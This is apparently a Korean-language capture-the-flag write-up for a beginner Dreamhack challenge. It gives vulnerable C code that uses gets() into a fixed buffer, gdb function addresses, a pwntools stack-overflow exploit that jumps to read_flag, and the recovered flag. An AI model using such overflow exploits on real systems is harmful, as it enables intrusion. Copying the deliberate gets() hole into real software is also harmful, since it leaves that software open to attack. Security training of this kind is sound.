

# basic\_exploitation\_001

```
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}
```

read\_flag()를 실행시키면 되는 간단한 문제다.

buf를 입력 받을 때 사이즈 제한이 없으니 buffer overflow를 일으킬 수 있다.

```

gdb-peda$ info fun
All defined functions:

Non-debugging symbols:
0x08048398  _init
0x080483d0  gets@plt
0x080483e0  signal@plt
0x080483f0  alarm@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  exit@plt
0x08048430  __libc_start_main@plt
0x08048440  setvbuf@plt
0x08048450  __gmon_start__@plt
0x08048460  _start
0x08048490  __x86.get_pc_thunk.bx
0x080484a0  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_ctors_aux
0x08048530  frame_dummy
0x0804855b  alarm_handler
0x08048572  initialize
0x080485b9  read_flag
0x080485cc  main
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
0x08048654  _fini

```

0x080485b9 read\_flag 주소를 확인할 수 있다.

```

from pwn import *

r = remote("host1.dreamhack.games", 22351)
read_flag = 0x080485b9

payload = b"\x00"*128 + b"\x00"*4 + p32(read_flag)

r.sendline(payload)

r.interactive()

```

```
root@e2874770fcd: [Dreamhack] basic_exploitation# python3 basic_exploitation_001.py  
[+] Opening connection to host1.dreamhack.games on port 22351: Done  
[*] Switching to interactive mode  
DH{01ec06f5e1466e44f86a79444a7cd116} [*] Got EOF while reading in interactive  
$
```